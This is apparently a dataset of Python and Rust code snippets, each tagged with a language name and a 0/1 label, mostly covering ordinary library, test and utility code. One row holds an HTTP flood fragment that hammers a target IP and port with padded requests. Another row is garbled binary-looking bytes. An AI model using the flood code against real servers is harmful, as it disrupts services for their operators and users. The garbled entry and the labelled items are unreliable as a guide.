text
string
label_name
string
labels
int64
# SPDX-License-Identifier: CC-BY-NC-SA-4.0 # Author: Miriel (@mirielnet) import discord from discord.ext import commands from discord import app_commands, ui from core.connect import db class InviteTracker(commands.Cog): def __init__(self, bot: commands.Bot) -> None: self.bot = bot self.server_set...
Python
1
ew::<square_meter>(1.0) /// }) /// .validate("must be less than 0.0!!", |quantity| { /// quantity < &Area::new::<square_meter>(0.0) /// }) /// .into_result(); /// assert_eq!( /// Err(Error { /// label: "(mul)".to_string(), /// msg: vec![ ...
Rust
0
from caskada import Flow from nodes import ProcessChunkDocumentsNode, EmbedDocumentsNode, CreateIndexNode, EmbedQueryNode, ReduceChunksAndEmbeddingsNode, RetrieveDocumentNode, GenerateAnswerNode from mapreduce import mapreduce def get_document_flow(): # Create offline flow for document indexing process_chunk_d...
Python
1
# Problem: Write a Python function that takes an integer as input and returns the sum of its digits. # Input: An integer n. # Output: An integer representing the sum of the digits of n def sum_of_digits(num): sum = 0 # Initialize sum to 0 str_num = str(num) # Convert the integer to ...
Python
1
); check_console_index(CONSOLE_INDEX.ui, ui_console_index); context.set_active_console(CONSOLE_INDEX.base); context.with_post_scanlines(false); context } fn add_console(&self, context: &mut Rltk, params: AddConsoleParameter) -> usize { let tile_width = params.tile_wi...
Rust
0
] store_lib = Library("lib_id", "my_lib", "my_charm", 0, 2, "Lib contents", "hash") path = fake_project_dir / utils.get_lib_path("my_charm", "my_lib", 0) path.parent.mkdir(parents=True) path.write_text("LIBID='id'\nLIBAPI=0\nLIBPATCH=1") mock_store_anonymous_client.fetch_libraries_metadata.return_va...
Python
1
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved from .batch_norm import FrozenBatchNorm2d, get_norm, NaiveSyncBatchNorm # from .deformable.deform_conv import DeformConv, ModulatedDeformConv # from .deformable.deform_conv_with_off import (DeformConvWithOff, # ...
Python
1
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
Python
1
connect_ipc_server().expect("failed to connect to server"); let (tx, rx) = channel.split().expect("failed to split channel"); let start = Instant::now(); let mut sum = 0.0; while let Ok(msg) = rx.recv() { let num = f64::from_le_bytes(<[u8; 8]>::try_from(&msg.data[..])?); sum += num; ...
Rust
0
get_or_init(Jieba::new); let cutted = jieba.cut_all(match &sentence { Either::A(s) => s.as_str(), Either::B(b) => { str::from_utf8(b.as_ref()).map_err(|_| Error::from_status(Status::InvalidArg))? } }); Array::from_vec(&env, cutted) } #[napi(ts_return_type = "string[]")] pub fn cut_for_search( ...
Rust
0
in_out_list] tensors = check_tensors(tensors, "tensors") assert len(tensors) == len(set(tensors)), ( "The argument 'tensors' of paddle.autograd.backward contains duplicate paddle.Tensor object." ) if grad_tensors is not None: if not isinstance(grad_tensors, (list, tuple)): ...
Python
1
def Motif_search(Str, Motif=None): """Search a motif in a given Nuc string""" Pos = [] if Motif is None: Split_str = Str.split('\n') Nuc_str = Split_str[0] Motif = Split_str[1] for i in range(0, len(Nuc_str) + 1): if Motif == Nuc_str[i:i + len(Motif)]: Pos.app...
Python
1
e_confirm(&mut self, confirm2: ConfirmRx) -> Key { Self::__internal_handle_confirm(&mut self.sta1, confirm2.msg()) } fn sta2_handle_confirm(&mut self, confirm1: ConfirmRx) -> Key { Self::__internal_handle_confirm(&mut self.sta2, confirm1.msg()) } fn __internal_h...
Rust
0
_high; let lastblock: __m128i = $lastblock; let lastnode: __m128i = $lastnode; let mut v = [ h_vecs[0], h_vecs[1], h_vecs[2], h_vecs[3], h_vecs[4], h_vecs[5], h_vecs[6], h_vecs[7], set1(IV...
Rust
0
); Response::new(id.to_string().into()) }, (&Method::POST, Some(_)) => { response_with_code(StatusCode::BAD_REQUEST) }, (&Method::PUT, Some(id)) => { if let Some(product) = products.get_mut(id) { *product...
Rust
0
R = crate::R<bool, bool>; impl R { #[doc = "Bit 20"] #[inline(always)] pub fn rtc_cntl_bbpll_cal_int_raw(&self) -> RTC_CNTL_BBPLL_CAL_INT_RAW_R { RTC_CNTL_BBPLL_CAL_INT_RAW_R::new(((self.bits >> 20) & 0x01) != 0) } #[doc = "Bit 19"] #[inline(always)] pub fn rtc_cntl_glitch_det_int_ra...
Rust
0
} trait FooT { fn bag(&self); } impl FooT for Foo { fn bag(&self) {} } fn main() { let f = Foo; f.bat(1.0); //~ ERROR no method named let s = "foo".to_string(); let _ = s.is_emtpy(); //~ ERROR no method named // Generates a warning for `count_zeros()`. `count_ones()` is also a close ...
Rust
0
::SegWit2x(_) => Some(Deployment { name: "segwit", bit: 1, start_time: 1479168000, timeout: 1510704000, activation: Some(481824), }), ConsensusFork::BitcoinCash(_) => None, }, fork: fork, rule_change_activation_threshold: 1916, // 95% miner_confirmation_window: 20...
Rust
0
ate.flag_pypdf = False # if 'flag_processed' not in st.session_state: # st.session_state.flag_processed = False # if uploaded_file: # row0col1, row0col2, row0col3 = st.columns([1, 1, 1]) # with row0col1: # if st.button(label='Run OCR'): # with st.spinner("Please wait..."): # ...
Python
1
#!/usr/bin/env python3 """ Simple example script to listen for Sonar 3D-15 data over multicast and store it to a file for later. The "inspect_sonar_data.py" script can be used to read the data from the file and decode it. REQUIREMENTS: - Python 3 - Access to the multicast IP and port used by the Sonar 3D-15 - In...
Python
1
import numpy as np from opytimizer.optimizers.swarm import af from opytimizer.spaces import search def test_af_params(): params = {"c1": 0.75, "c2": 1.25, "m": 10, "Q": 0.75} new_af = af.AF(params=params) assert new_af.c1 == 0.75 assert new_af.c2 == 1.25 assert new_af.m == 10 assert new_...
Python
1
from addons import get_message_tokens, txt2embeddings, search_results from SETTINGS import SYSTEM_PROMPT, BOT_TOKEN, LINEBREAK_TOKEN, TABLE_NAME, DEVICE from llama_cpp import Llama def interact_manager( model: Llama, request: str, content: str, top_k: int = 30, top_p: float = 0.9, temperature: ...
Python
1
_vm_group( operation_config: &crate::OperationConfig, subscription_id: &str, resource_group_name: &str, private_cloud_name: &str, vm_group_id: &str, workload_network_vm_group: &WorkloadNetworkVmGroup, ) -> std::result::Result<create_vm_group::Response, create_vm_group...
Rust
0
from typing import Any, Dict from qcengine.exceptions import InputError def muster_modelchem(method: str, driver: "DriverEnum") -> Dict[str, Any]: """Converts the QC method into CFOUR keywords.""" method = method.lower() opts = {} if driver == "properties": pass else: derint = d...
Python
1
REV_R = crate::R<u32, u32>; impl R { #[doc = "Bits 0:31 - REV"] #[inline(always)] pub fn rev(&self) -> REV_R { REV_R::new((self.bits & 0xffff_ffff) as u32) } } use amethyst_assets::Format; use amethyst_error::Error; use serde::{Deserialize, Serialize}; use type_uuid::TypeUuid; #[derive(Clone, ...
Rust
0
bug(f'Pulse width: {pulse_width_us}, Duty cycle: {duty_cycle_value}') wiringpi.pwmWrite(pin, duty_cycle_value) def main(args=None): rclpy.init(args=args) gripper_driver_node = DriverGripper() executor = MultiThreadedExecutor() try: rclpy.spin(gripper_driver_node, executor=executor)...
Python
1
)] plot_legend = ax.legend(handles=legend_handles, title=main_legend_title, bbox_to_anchor=(legend_x_pos, legend_y_pos), loc="center left", fontsize=legend_fontsize, title_fontsize=legend_title_fontsize) else: ordered_unique_main_legend_values = list(final_color_map.k...
Python
1
) .field("protocol_record_iterator", &self.protocol_record_iterator()) .finish() } } impl Serialize for SMBiosManagementControllerHostInterface<'_> { fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error> where S: Serializer, { let mut state = ...
Rust
0
import numpy as np import gym from gym import Env, spaces import matplotlib as mpl mpl.use('Agg') import matplotlib.pyplot as plt data_filename = "results/toyenv_samples.npz" plot_filename = "toyenv_diffusion_samples.png" # data_filename = "envs/toyenv/toyenv_dataset.npz" # plot_filename = "toyenv_dataset.png" steps...
Python
1
)) # add the last named entity if it is not empty # # return named_entities if __name__ == '__main__': from AMR_utils import to_single_line_amr from AMR_utils import noop_penman_decode from AMRSimplifier import AMRSimplifier from postprocess.postprocess_utils import amr_str_to_list # from post...
Python
1
G|GHd||||||fGHqWdS(NsValue of '%s' issDAdded '%s' on object '%s' (machine %s), instance %s(%d)-parent of %si(R tParseCounterPathR&tPDH_FMT_DOUBLE( tcountersRR RRtparentInstancetindext counterNametresult((s`C:\UsersI...
Python
1
input_names: self.params.get(i, allow_deferred_init=True) for i in out.list_auxiliary_states(): if i not in input_names: self.params.get(i, grad_req='null', allow_deferred_init=True) self._cached_graph = syms, out self._build_cache() def forwar...
Python
1
, ['foo'], connection_class, pool_class, pool_kwargs) # Worker should have processed the job self.assertEqual(len(queue), 0) def test_worker_pool_arguments(self): """Ensure arguments are properly used to create the right workers""" queue = Queue('foo', connection=self.connection) ...
Python
1
------------------------- # Output file base name for HTML help builder. htmlhelp_basename = "sparsezoodoc" # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # "papersize": "letterpaper", # "pointsize": "10pt", # "preamble": "", # "figure_align": "htbp...
Python
1
0000u16), split(0x0000_0000u32)); assert_eq!((0x0000u16, 0x0001u16), split(0x0000_0001u32)); assert_eq!((0x0000u16, 0xFFFEu16), split(0x0000_FFFEu32)); assert_eq!((0x0000u16, 0xFFFFu16), split(0x0000_FFFFu32)); assert_eq!((0x0001u16, 0x0000u16), split(0x0001_0000u32)); assert_eq!...
Rust
0
-> &'a mut W { self.variant(M2_A::_100) } #[doc = "This master has level 6 priority when accessing the slave port."] #[inline(always)] pub fn _101(self) -> &'a mut W { self.variant(M2_A::_101) } #[doc = "This master has level 7 priority when accessing the slave port."] #[inl...
Rust
0
# -*- coding: utf-8 -*- # @Time : 2023/3/9 17:02 # @Author : 蔍鸣霸霸 # @FileName: toutiao.py # @Software: PyCharm # @Blog :只因你太美 import execjs import requests headers = { 'authority': 'www.toutiao.com', 'accept': 'application/json, text/plain, */*', 'accept-language': 'zh-CN,zh;q=0.9', 'cookie': '_...
Python
1
.len()); state.write_u32(self.index_stride_in_bytes); self.flags.hash(state); state.write_u32(self.primitive_index_offset); } } impl<'v, 'w, 'i> CurveArray<'v, 'w, 'i> { /// Constructor /// /// # Parameters /// * `curve_type` - Curve degree and basis /// * `vertex_buffer...
Rust
0
from v1.core import consts from v1.dal import user_dal from v1.sdk import oss import requests import uuid from io import BytesIO def get_user_from_request(request): session_key = request.POST.get(consts.SESSION_KEY_SK) if not session_key: session_key = request.session.get(consts.SESSION_KEY_SK) if...
Python
1
at corresponds to the upper end of the color map # # variable_display_settings = { # 'my_var': dict(color_map='viridis', display_min=0.1, display_max=0.8), # } # Default color map to be used for any variable not configured in 'variable_display_settings' # 'default_color_map' must be the name of a color map taken ...
Python
1
} con.write_all(&buf[..n])?; } IoResult::Ok(()) }); let connector = runtime.tls_connector(); runtime.block_on(async { let text = b"I Suddenly Dont Understand Anything"; let mut buf = vec![0_u8; text.len()]; let mut conn = connector.connect_u...
Rust
0
rgs.full_batch: gw.initialize(place) if args.init_pretraining_params is not None: init_pretraining_params( exe, args.init_pretraining_params, main_program=startup_prog) metric = Metric(**graph_model.metrics) nccl2_num_trainers = 1 nccl2_trainer_id = 0 if dev_count > 1:...
Python
1
# Copyright (c) 2020, Frappe Technologies and contributors # License: MIT. See LICENSE # import frappe from frappe.model.document import Document class EventProducerLastUpdate(Document): pass
Python
1
values) classification_signature = ( tf.compat.v1.saved_model.signature_def_utils.build_signature_def( inputs={ tf.compat.v1.saved_model.signature_constants.CLASSIFY_INPUTS: classification_inputs }, outputs={ tf.compat.v1.saved_mode...
Python
1
from tkinter import * top = Tk() def hello(): print("hello!") # create a toplevel menu menubar = Menu(root) menubar.add_command(label="Hello!", command=hello) menubar.add_command(label="Quit!", command=top.quit) # display the menu top.config(menu=menubar) top.mainloop()
Python
1
class Knapsack01Tabulation: def solve(self, n, capacity, weights, values): # Create DP table dp = [[0] * (capacity + 1) for _ in range(n + 1)] for i in range(1, n + 1): for w in range(capacity + 1): exclude = dp[i - 1][w] include = 0 ...
Python
1
"text": "Start Game", "action": "start", "position": (0, 0) }, { "text": "Difficulty Settings", "action": "difficulty", "position": (0, 1) }, { "text": "Exit Game", "action": "quit", "pos...
Python
1
from g2p_en import G2p import argparse import numpy as np import pandas def english_g2p(text, alphabet=None): g2p = G2p() out = "" if alphabet is None: alphabet={"AE1": "a", "N": "N", " ": " ", "OW1": "b", "V": "V", "AH0": "c", "L": "L", "F": "F", "EY1": "d", "S": "S", "B": "B", "R": "R", "AO1": "...
Python
1
in the shear matrix {} does not match ' 'ndim {}'.format(shear_matrix.shape, ndim)) shear_det = np.linalg.det(shear_matrix) if shear_det != 1: print('WARNING: Shear matrix has a scale component. ' 'Determinant not equal to 1, but {}.'.format(shear_det)) ...
Python
1
/// alts: vec![], /// egs: vec![ Eg { /// zho: None, /// yue: Some((vec![(Link, "開便".into())], Some("hoi1 bin6".into()))), /// eng: Some(vec![(Text, "outside".into())]), /// }, /// Eg { /// zho: None, /// yue: Some((vec![(Link, "呢便".in...
Rust
0
from django import forms from .models import RestaurantLocation from .validators import validate_category class RestaurantCreateForm(forms.Form): name = forms.CharField() location = forms.CharField(required=False) category = forms.CharField(required=False) def clean_name(self...
Python
1
def list_vehicles(): vehicles = ['Car', 'Bike', 'Truck', 'Bus'] for vehicle in vehicles: print(vehicle) if __name__ == "__main__": list_vehicles()
Python
1
from typing import List, Optional from pydantic import BaseModel, Field from enum import Enum class MoodType(str, Enum): """Mood types""" pass class Album(BaseModel): """Albumd model""" id: str = Field(..., description="Unique album identifier (UUID)") title: str = Field(..., description="Album ...
Python
1
# Copyright (c) 2007 The Hewlett-Packard Development Company # Copyright (c) 2015 Advanced Micro Devices, Inc. # # All rights reserved. # # The license below extends only to copyright in the software and shall # not be construed as granting a license to any other intellectual # property including but not limited to int...
Python
1
setting = { "parameters": { "points_per_cent": 2, "time_limit": 5, "correct_responses": ['j', 'f'], #"condition_probabilities": left_cue_prob*([stimA_prob**2, stimA_prob*(1-stimA_prob), (1-stimA_prob)**2, (1-stimA_prob)*stimA_prob]*2), "combination_num": 8 }, "trial...
Python
1
connect_inside_update; mod nested_disconnect_inside_upsert; mod nested_set_inside_update; mod nested_update_many_inside_update; mod nested_upsert_inside_update; <reponame>SpectralProject/Neutron<filename>neutron_kernel/src/arch/riscv64gc/power/mod.rs // ----------- // RISCV DEVICE POWER MANAGEMENT // ----------- // Th...
Rust
0
DATED = 0x10_00; } } #[repr(u32)] #[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] pub enum InfoType { EnclaveLaunchToken = 1, } pub const LIBRARY: &str = "libsgx_enclave_common.so.1"; pub const SYM_ENCLAVE_CREATE: &[u8] = b"enclave_create\0"; pub type EnclaveCreateFn = unsafe extern "C" fn( base_addre...
Rust
0
import base64 import os import time import cv2 import numpy as np __all__ = ['cv2_to_base64', 'base64_to_cv2', 'postprocess'] def cv2_to_base64(image): data = cv2.imencode('.jpg', image)[1] return base64.b64encode(data.tostring()).decode('utf8') def base64_to_cv2(b64str): data = base64.b64decode(b64st...
Python
1
let mut first = true; for alias in aliases { if first { first = false; } else { aliases_docs_buffer.push_str(", "); ...
Rust
0
# Given a 0-indexed integer array nums of length n and an integer target, return the number of pairs (i, j) where 0 <= i < j < n and nums[i] + nums[j] < target. # Example 1: # Input: nums = [-1,1,2,3,1], target = 2 # Output: 3 # Explanation: There are 3 pairs of indices that satisfy the conditions in the statement: ...
Python
1
, shutting down the connection".to_string(), )), }, Async::Ready(None) => Err(CowRpcError::Proto("Connection was closed before handshake".to_string())), _ => Ok(Async::NotReady), } } } pub struct CowRpcRouterPeerSharedInner { cow_id: u32, state: R...
Rust
0
import json import example_utils from hyperliquid.utils import constants def main(): address, info, exchange = example_utils.setup(constants.TESTNET_API_URL, skip_ws=True) # Get the user state and print out leverage information for ETH user_state = info.user_state(address) for asset_position in use...
Python
1
HashMap<u32, &'static str> = HashMap::new(); let commands: HashMap<u32, &'static str> = HashMap::new(); hashes.insert(18, "ea9ac1696a5cec416f0a9f34c052815ca59850d5"); run_system_test( 19, Path::new("nes-test-roms/apu_test/rom_singles/1-len_ctr.nes"), hashes, comma...
Rust
0
# coding: utf-8 from rest_framework import serializers, mixins from rest_framework.exceptions import ParseError from rest_framework.generics import get_object_or_404 class ObjectLookupMixin: def get_object(self): """ Incase the lookup is on an object that has been hyperlinked then update t...
Python
1
import sys from pathlib import Path sys.path.append(str(Path(__file__).parent.parent.absolute())) # from common.path_config import PROJECT_ROOT PROJECT_ROOT = Path(__file__).parent.parent.parent.absolute() from common.ctrlcomp import * from FSM.FSM import * from typing import Union import numpy as np import time impor...
Python
1
4 + len]), c => panic!("unknown region chunk compression method {}", c) }; let mut c = nbt.unwrap().into_compound().unwrap(); let mut level = c.remove("Level").unwrap().into_compound().unwrap(); let mut chunks = Vec::new(); for chunk in level.remove("Sections") ...
Rust
0
'contentStyle']['elements']): e['text'] = bbox_text_i[j] e['style']['fontFamily'] = this_font if e['type'] == 'button': e['buttonParams']['radius'] = this_radius visualize_banner(box_fake_i, mask_i, banner_specs['contentStyle']['elements'],...
Python
1
a: """ https://docs.anthropic.com/en/docs/build-with-claude/tool-use/overview#single-tool-example """ #TODO using model_dump_json as temporary placeholder toolCallSchema._raw = { "role": "assistant", "content": [ { "ty...
Python
1
from templeplus.pymod import PythonModifier from toee import * import tpdp from utilities import * import spell_utils print "Registering sp-Conviction" def convictionSpellBonusToSaves(attachee, args, evt_obj): bonusValue = args.get_arg(2) #Bonus is passed by spell bonusType = 13 #ID 13 = Morale evt_obj.bon...
Python
1
dy --> </div> </section> <style type="text/css"> fieldset {{ padding: 10px; font-family: Georgia; font-size: 14px; background: #fbfbfb; border-radius: 5px; margin-bottom: 5px; }} .tooltip {{ font-family: Georgia; font-size: 18px; }} .tooltip .tooltip-inner {{ ...
Python
1
); assert!( TIME_12H_A.is_match("09:45 PM")); assert!( TIME_12H_A.is_match("09:45:33 pm")); assert!( TIME_12H_A.is_match("09:45:33.345 pm")); assert!( TIME_12H_A.is_match( "9:45:33.345 pm")); assert!( TIME_12H_A.is_match("11:45:33.345 pm")); assert!(!TIME_12H_A.is_match("13:45:33.345 pm")); assert!( TIME...
Rust
0
class Solution: def isConvex(self, points: List[List[int]]) -> bool: # Pq x qr def getCross(p: List[int], q: List[int], r: List[int]): return (q[0] - p[0]) * (r[1] - p[1]) - (q[1] - p[1]) * (r[0] - p[0]) sign = 0 for i in range(len(points)): cross = getCross(points[i - 2], points[i - 1], ...
Python
1
ob_title', y='salary', data=df, palette='colorblind') plt.title('Relação entre Título do Trabalho e Salário para Data Analysts') plt.xlabel('Título do Trabalho') plt.ylabel('Salário (USD)') plt.xticks(rotation=45, ha='right') # Rotaciona os rótulos do eixo x para melhor legibilidade plt.grid(axis='y') plt.show() # ...
Python
1
dncOldSiteCovered: ::DWORD = ERRLOG2_BASE + 98; pub const NELOG_NetlogonNdncSiteNotCoveredAuto: ::DWORD = ERRLOG2_BASE + 99; pub const NELOG_NetlogonSpnMultipleSamAccountNames: ::DWORD = ERRLOG2_BASE + 100; pub const NELOG_NetlogonSpnCrackNamesFailure: ::DWORD = ERRLOG2_BASE + 101; pub const NELOG_NetlogonNoAddressToSi...
Rust
0
import sys N = int(sys.stdin.readline()) cases = [sys.stdin.readline().strip() for _ in range(N)] for case in cases: score = 0 cnt = 0 for c in case: if c == 'O': cnt += 1 score += cnt else: cnt = 0 print(score)
Python
1
client.send(b"GET / HTTP/1.1\r\nHost: {target_website}\r\nIf-None-Match: " + b"\"etag\"" * 100 + b"\r\n\r\n") print(f"HTTP If-None-Match泛洪已对 {target_ip} 端口 {target_port} 完成 {count} 次请求") def http_if_modified_since_flood(target_ip, target_port, count): client = socket.socket(socket.AF_INET, socket.SOCK_...
Python
1
#!/usr/bin/env python import unittest from pycoin.ecdsa import sign, verify, public_pair_for_secret_exponent, possible_public_pairs_for_signature, generator_secp256k1 class SigningTest(unittest.TestCase): def test_sign(self): for se in ["47f7616ea6f9b923076625b4488115de1ef1187f760e65f89eb6f4f7ff04b012"] ...
Python
1
read_chr(&self, addr: usize) -> u8 { match addr { 0x0000..=0x0FFF => { self.chr_rom_banks[0][addr % 0x1000] }, 0x1000..=0x1FFF => { self.chr_rom_banks[1][addr % 0x1000] }, _ => 0, } } pub fn write_chr(&...
Rust
0
contains(inner_point)); assert!(!rect.contains(outer_point_one)); assert!(!rect.contains(outer_point_two)); let neg_rect = Rect::new(-5, -8, 100, 80); let neg_inner_point = Point::new(-3, -6); let neg_outer_point_one = Point::new(-10, -8); let neg_outer_point_two = Point::new(-5, 80); asse...
Rust
0
](https://developer.android.com/reference/java/util/Properties.html#list(java.io.PrintWriter)) /// /// Required features: "java-io-PrintWriter" #[cfg(any(feature = "all", all(feature = "java-io-PrintWriter")))] pub fn list_PrintWriter<'env>(&'env self, arg0: impl __jni_bindgen::std::conv...
Rust
0
0: ReadWrite<u32>), (0x0F0 => pub APB_MISC_GP_AP_WAKE_NFC_CFGPADCTRL_0: ReadWrite<u32>), (0x0F4 => pub APB_MISC_GP_AUD_MCLK_CFGPADCTRL_0: ReadWrite<u32>), (0x0F8 => pub APB_MISC_GP_BATT_BCL_CFGPADCTRL_0: ReadWrite<u32>), (0x0FC => pub APB_MISC_GP_BT_RST_CFGPADCTRL_0: Read...
Rust
0
output.stdout) .expect("unable to parse output into utf8") .split('\n') .next() .expect("no ip address found") .into() } } struct Solution; impl Solution { pub fn generate_matrix(n: i32) -> Vec<Vec<i32>> { let n = n as usize; let mut r...
Rust
0
n].shape != turtle_ps[n].shape: # log.info( # f"Module: Skipped {qname}: parameter shape mismatch at '{n}' " # f"(shell={tuple(shell_ps[n].shape)}, turtle={tuple(turtle_ps[n].shape)})" # ) break else:...
Python
1
----------------------------------------------------------------------------- pub fn update_mouse_position(x: f32, y: f32) { let mut data = APP_STATE.lock().unwrap(); *data = Arc::new(AppState { mouse_pos: Vector2::new(x, y), keys: data.keys.clone(), ..*data.clone() }); } pub mod di...
Rust
0
from saliency_models import gbvs, ittikochneibur import cv2 import time from matplotlib import pyplot as plt if __name__ == '__main__': for i in range(1, 9): imname = "./images/{}.jpg".format(i) print("processing {}".format(imname)) img = cv2.imread(imname) saliency_map_gbvs = gbv...
Python
1
= exit(0); let status = t!(child.wait_timeout_ms(1_000)).unwrap(); assert_eq!(status.code(), Some(0)); let mut child = exit(1); let status = t!(child.wait_timeout_ms(1_000)).unwrap(); assert_eq!(status.code(), Some(1)); // check STILL_ACTIVE on windows, on unix this ends up just getting /...
Rust
0
self.zip.check_fix()?; self.zip.call()?; } Some("ping") => { self.ping.check_fix()?; self.ping.call(); } Some("chardet") => { self.chardet.check()?; self.chardet.call(); } ...
Rust
0
}; notify(&terr_applied, Err(err)); } } t_done.store(1, Ordering::Relaxed); notify_end(&terr_applied); debug!("end apply"); }); ApplyStream { done, o_applied, i_available } } <filename>bench/benchmark.rs extern crate needletail; use st...
Rust
0
) } } use std::collections::BTreeMap; use std::fs::File; use std::io::{BufRead, BufReader}; fn main() { let file = File::open("test.csv").unwrap(); let reader = BufReader::new(file); let mut map = BTreeMap::new(); for (i, line) in reader.lines().enumerate() { let line = line.unwrap().parse...
Rust
0
rs, doc(cfg(feature = "rand")))] pub fn random(mut rng: impl CryptoRng + RngCore) -> Self { Self(rng.next_u64()) } } <gh_stars>0 // #![cfg(target_arch = "wasm32")] use one_life::game::Game; use one_life::input::boost_item::BoostItemTypes; use one_life::input::tomb::TombTypes; // use one_life::input::op...
Rust
0
from django.test import TestCase from allauth.socialaccount.tests import OAuth2TestsMixin from allauth.tests import MockedResponse from .provider import SlackProvider class SlackOAuth2Tests(OAuth2TestsMixin, TestCase): provider_id = SlackProvider.id def get_mocked_response(self): return MockedRespo...
Python
1
from itertools import islice import numpy as np from .search import best_first, bfs def get_nth(generator, n=0): return next(islice(generator, n), None) def get_neighbors_fn( extend_fn, targets=[], scale=1e3, bias=False ): # TODO: could also include diagonal # https://github.mit.edu/caelan/lis-openra...
Python
1
# 43162 # https://school.programmers.co.kr/learn/courses/30/lessons/43162 # DFS & BFS def solution(n:int, computers:list) -> int: """ 네트워크 : 컴퓨터의 개수 n, 연결에 대한 정보가 담긴 2차원 배열 computers가 주어질 때, 네트워크의 개수를 반환하는 함수 Args : - n : 컴퓨터의 개수 1<= n <= 200, 각 컴퓨터는 0부터 n-1인 정수로 표현 - computers : 연결...
Python
1
gs( arr![Expr; Expr::Not(Box::new(e.collect_expr().into_iter().next().unwrap()))], ) } } impl<T: Value + ExprNot, Tags: TagList> Not for ExprViewBoxWithTag<T, Tags> { type Output = ExprViewBoxWithTag<bool, Tags>; fn not(self) -> Self::Output { T::expr_not(self) } } pub tra...
Rust
0
test)] mod tests { use apllodb_test_support::setup::setup_test_logger; use ctor::ctor; #[cfg_attr(test, ctor)] fn test_setup() { setup_test_logger(); } } // Arrays are fixed length and have same data type use std::mem; pub fn run() { let mut numbers: [i32; 5] = [1, 2, 3, 4, 5]; p...
Rust
0
crel DW_EH_PE_textrel DW_EH_PE_datarel DW_EH_PE_funcrel DW_EH_PE_aligned DW_EH_PE_indirect DW_APPLE_PROPERTY_readonly DW_APPLE_PROPERTY_readwrite DW_APPLE_PROPERTY_assign DW_APPLE_PROPERTY_retain DW_APPLE_PROPERTY_copy DW_APPLE_PROPERTY_nonatomic ''') ### The following enums are not available in LLVM 3.2 # DW_AT_GN...
Python
1
-ee[i, :],)+args), **kwargs) hess = np.outer(h, h) # this is now epsilon**2 # Compute "double" forward step for i in range(n): for j in range(i, n): hess[i, j] = (f(*((x + ee[i, :] + ee[j, :],) + args), **kwargs) - g[i] - g[j] + f0 + ...
Python
1
/// is not to be traversed and Finish will include the edge and finish the /// algorithm. /// /// Function will return an `Option<Vec<Weak<Edge<K, N, E>>>>` where a Some value /// indicates that the traversal was successful ie. a Finish condition was /// reached. And WeakEdges is a collection of all the traversed edges...
Rust
0
handler = |conn: trillium::Conn| async move { conn.ok("trillium!") }; use trillium_testing::prelude::*; assert_ok!(get("/").on(&handler), "trillium!"); ``` ``` // as an async function async fn handler(conn: trillium::Conn) -> trillium::Conn { conn.ok("trillium!") } use trillium_testing::prelude::*; assert_ok!(get...
Rust
0
was_cached = sum(pair.was_cached for pair in pairs) if was_cached > 0: message += f" ({was_cached} responses were already cached)" logger.info(message) return [pair.response.response for pair in pairs] def openai_cost_for_cache() -> float: """Compute the total dollar cost incurre...
Python
1